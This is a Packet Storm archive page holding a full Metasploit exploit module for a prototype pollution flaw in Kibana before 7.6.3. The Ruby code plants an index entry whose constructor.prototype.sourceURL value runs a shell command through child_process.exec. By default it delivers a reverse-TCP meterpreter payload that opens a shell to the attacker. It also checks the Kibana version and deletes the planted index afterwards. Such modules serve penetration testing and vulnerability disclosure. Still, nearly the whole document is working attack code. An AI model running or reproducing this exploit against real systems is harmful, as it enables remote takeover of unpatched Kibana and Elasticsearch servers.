what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Kibana Prototype Pollution / Remote Code Execution

Kibana Prototype Pollution / Remote Code Execution
Posted Oct 9, 2023
Authored by h00die, Alex Brasetvik | Site metasploit.com

Kibana versions prior to 7.6.3 suffer from a prototype pollution bug within the Upgrade Assistant. By setting a new constructor.prototype.sourceURL value you can execute arbitrary code. Code execution is possible through two different ways. Either by sending data directly to Elastic, or using Kibana to submit the same queries. Either method enters the polluted prototype for Kibana to read. Kibana will either need to be restarted, or collection happens (unknown time) for the payload to execute. Once it does, cleanup must delete the .kibana_1 index for Kibana to restart successfully. Once a callback does occur, cleanup will happen allowing Kibana to be successfully restarted on next attempt.

tags | exploit, arbitrary, code execution
SHA-256 | 7b00b8eea8f510a8a337e334be1bacd682e8cb1dc1f59ad886193ba45fa3094d

Kibana Prototype Pollution / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # causes service to not respond until cleanup and reboot
include Msf::Exploit::Remote::HttpClient
# decided not to use autocheck since it doesn't work for both targets

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kibana Upgrade Assistant Telemetry Collector Prototype Pollution',
'Description' => %q{
Kibana before version 7.6.3 suffers from a prototype pollution bug within the
Upgrade Assistant. By setting a new constructor.prototype.sourceURL value we're
able to execute arbitrary code.
Code execution is possible through two different ways. Either by sending data
directly to Elastic, or using Kibana to submit the same queries. Either method
enters the polluted prototype for Kibana to read.

Kibana will either need to be restarted, or collection happens (unknown time) for
the payload to execute. Once it does, cleanup must delete the .kibana_1 index
for Kibana to restart successfully. Once a callback does occur, cleanup will
happen allowing Kibana to be successfully restarted on next attempt.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Alex Brasetvik (alexbrasetvik)' # original PoC, analysis
],
'References' => [
[ 'URL', 'https://hackerone.com/reports/852613'],
],
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
'WfsDelay' => 1800 # 30min
},
'Targets' => [
[ 'ELASTIC', {}], # target kibana through a direct elastic connection
[ 'KIBANA', {}] # target kibana through the dev console to implant elastic data
],
'DisclosureDate' => '2020-04-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(9200), # default to elastic port, kibana is 5601
OptString.new('USERNAME', [ false, 'Elastic User to login with', '']),
OptString.new('PASSWORD', [ false, 'Elastic Password to login with', '']),
OptString.new('TARGETURI', [ true, 'The URI of the Kibana/Elastic Application', '/'])
]
)
end

# https://stackoverflow.com/a/4899857
def time_rand(from = Time.local(2020, 6, 28), to = Time.now)
Time.at(from + rand * (to.to_f - from.to_f)).strftime('%FT%T.000Z')
# outputs 2020-04-17T20:47:40.800Z format
end

# This is how it should be done, but it will crash the session. Leaving here in case someone figures out how to not crash the session
# it may also only crash when on docker, and may be fine elsewehre. Regardless, good code to not lose just in case.
def kibana_cleanup
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'headers' => {
'kbn-xsrf' => @xsrf
},
'ctype' => 'application/json',
'vars_get' => {
'path' => '.kibana_1', # URI for the elastic request
'method' => 'DELETE' # method for the elastic query
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def elastic_cleanup
request = {
'uri' => normalize_uri(target_uri.path, '.kibana*'),
'method' => 'DELETE'

}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?

res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def execute_command
case target.name
when 'ELASTIC'
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_doc', 'upgrade-assistant-telemetry:upgrade-assistant-telemetry'),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => telemetry_data.to_json
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?

res = send_request_cgi(request)
when 'KIBANA'
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'headers' => {
'kbn-xsrf' => @xsrf
},
'ctype' => 'application/json',
'vars_get' => {
'path' => '.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
},
'data' => telemetry_data.to_json
)
end
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 201
end

def telemetry_data
{
'upgrade-assistant-telemetry' => {
'ui_open.overview' => 1,
'ui_open.cluster' => 1,
'ui_open.indices' => 1,
'constructor.prototype.sourceURL' => "\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('#{payload.encoded}')"
},
'type' => 'upgrade-assistant-telemetry',
'updated_at' => time_rand
}
end

def kibana_create_index
# if the index already exists, this will fail which is fine, we just need it to exist.
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'path' => '.kibana_1', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 400
vprint_status('Index already exists')
return
end
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def elastic_create_index
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1'),
'method' => 'PUT'
}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?

res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
if res.code == 400
vprint_status('Index already exists')
return
end
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def kibana_send_mapping
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'api', 'console', 'proxy'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'kbn-xsrf' => @xsrf
},
'vars_get' => {
'path' => '.kibana_1/_mappings', # URI for the elastic request
'method' => 'PUT' # method for the elastic query
},
'data' => mapping_data.to_json
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def elastic_send_mapping
request = {
'uri' => normalize_uri(target_uri.path, '.kibana_1', '_mappings'),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => mapping_data.to_json

}
request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present?

res = send_request_cgi(request)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid response (response code: #{res.code})") unless res.code == 200
end

def mapping_data
{
'properties' => {
'upgrade-assistant-telemetry' => {
'properties' => {
'constructor' => {
'properties' => {
'prototype' => {
'properties' => {
'sourceURL' => {
'type' => 'text',
'fields' => {
'keyword' => {
'type' => 'keyword',
'ignore_above' => 256
}
}
}
}
}
}
},
'features' => {
'properties' => {
'deprecation_logging' => {
'properties' => {
'enabled' => {
'type' => 'boolean',
'null_value' => true
}
}
}
}
},
'ui_open' => {
'properties' => {
'cluster' => {
'type' => 'long',
'null_value' => 0
},
'indices' => {
'type' => 'long',
'null_value' => 0
},
'overview' => {
'type' => 'long',
'null_value' => 0
}
}
},
'ui_reindex' => {
'properties' => {
'close' => {
'type' => 'long',
'null_value' => 0
},
'open' => {
'type' => 'long',
'null_value' => 0
},
'start' => {
'type' => 'long',
'null_value' => 0
},
'stop' => {
'type' => 'long',
'null_value' => 0
}
}
}
}
}
}
}
end

def check
if target == targets[0] # elastic
return CheckCode::Unknown('Unable to determine Kibana version from Elastic database')
end

res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'kibana'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

# this pulls a big JSON blob that we need as it has the version
unless %r{<kbn-injected-metadata data="([^"]+)"></kbn-injected-metadata>} =~ res.body
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

version_json = CGI.unescapeHTML(Regexp.last_match(1))

begin
json_body = JSON.parse(version_json)
rescue JSON::ParserError
return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version")
end

return Exploit::CheckCode::Safe("#{peer} - Unexpected response, unable to determine version") if json_body['version'].nil?

@version = json_body['version']

if Rex::Version.new(@version) < Rex::Version.new('7.6.3')
return CheckCode::Appears("Exploitable Version Detected: #{@version}")
end

CheckCode::Safe("Unexploitable Version Detected: #{@version}")
end

def exploit
@clean = true
fail_with(Failure::BadConfig, 'A password has been defined without a username') if datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
case target.name
when 'ELASTIC'
print_warning('RPORT should most likely be set to 9200 when exploiting the ELASTIC target') if datastore['RPORT'] != 9200
print_status('Creating index')
elastic_create_index
print_status('Sending index map')
elastic_send_mapping
when 'KIBANA'
print_warning('RPORT should most likely be set to 5601 when exploiting the KIBANA target') if datastore['RPORT'] != 5601
# xsrf for unlicensed kibana seems to just be kibana... at least for 7.6.2
# https://discuss.elastic.co/t/where-can-i-get-the-correct-kbn-xsrf-value-for-my-plugin-http-requests/158725/3
@xsrf = 'kibana'
print_status('Creating index')
kibana_create_index
print_status('Sending index map')
kibana_send_mapping
end
print_status('Sending telemetry data with payload')
execute_command
print_status("Waiting #{datastore['WfsDelay']} seconds for shell (kibana restart/cleanup)")
end

def cleanup
return unless @clean

if target.name == 'KIBANA'
print_error('Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1')
# kibana_cleanup
return
end
print_status('Removing telemetry data to prevent Kibana locking on restart')
elastic_cleanup
end
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close